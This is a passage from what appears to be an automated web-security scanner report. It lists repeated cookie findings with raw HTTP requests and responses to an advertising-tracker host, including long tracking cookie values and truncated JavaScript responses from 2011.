The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/410748832.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk3ckvYdU+ser9duzVms/e5MT; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:01 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6495&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:01 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:00 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/449293090.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCVyCyiOI0VkRNa9Q=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:44 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6484&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:44 GMT; Path=/ X-Proc-ms: 0 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:44 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/536378960.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69ODFkGTSOM1VkQHa9E=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:19 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98af&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:19 GMT; Path=/ X-Proc-ms: 9 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:18 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/555347891.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV+ETiSM1VkRda9U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:53 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e648d&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:53 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:52 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/591799300.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; 